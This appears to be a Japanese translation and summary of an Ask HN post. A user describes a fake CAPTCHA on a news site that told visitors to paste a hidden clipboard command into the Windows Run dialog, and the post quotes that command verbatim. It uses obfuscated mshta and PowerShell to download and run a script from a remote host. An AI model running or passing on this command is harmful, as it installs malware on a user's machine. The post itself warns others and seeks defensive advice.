セキュリティ
Ask HN: Crooked Timberでウイルス型CAPTCHAに遭遇、その後どうすれば?
Ask HN: Crooked Timber showed showed me a virus captcha, What now?
要約
投稿者はニュースサイトCrooked Timberで、ユーザーにPowerShellスクリプトを実行させようとする悪意のあるCAPTCHAに遭遇しました。この経験から、将来このような詐欺やハッキングの試みから身を守る方法について、他のユーザーにアドバイスを求めています。同様の経験や対策について情報交換を求めています。
全文翻訳
皆さん、こんにちは。
今朝、シフトを開始するにあたり、一日の始まりとしていくつかのニュースブログ/ウェブサイトを訪れようと思いました。Crooked Timberにアクセスしたところ、代わりにCAPTCHAページが表示されました。それは従来のGoogle CAPTCHAのように見えました。
クリックするとスピナーが回転し、右側にボックスが開きました。そこには、青い背景に「Verify you're human」(人間であることを確認してください)という従来の白いタイトルが表示されていました。
そこには2つの「手動確認ステップ」が表示されていました。
1. Win + R を押す
2. Ctrl + V を押してから Run を押す
最初は、ブラウザに物理的なキーボードが接続されているかを確認する新しいタイプのCAPTCHAだと思いましたが、すぐに私のマシン上でスクリプトを実行させようとする試みであることに気づきました。
新しいタブを開いたところ、驚いたことに、クリップボードには新しいものが入っていました。
"pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^//fine-work-team.com/6272' -Wi Hi""
これを、私が仕事でアクセスできるLLMの一つに送信したところ、絶対に実行しないように(実行するつもりはありませんでしたが)と指示され、そのコマンドがURLからスクリプトをダウンロードして実行することになると説明されました。
将来、このような詐欺/ハッキングの試みからどのように身を守ればよいでしょうか?私は常に「準備ができている」と思っていましたが、驚きました。
皆さんは以前にこのような経験がありますか?どのように身を守っていますか?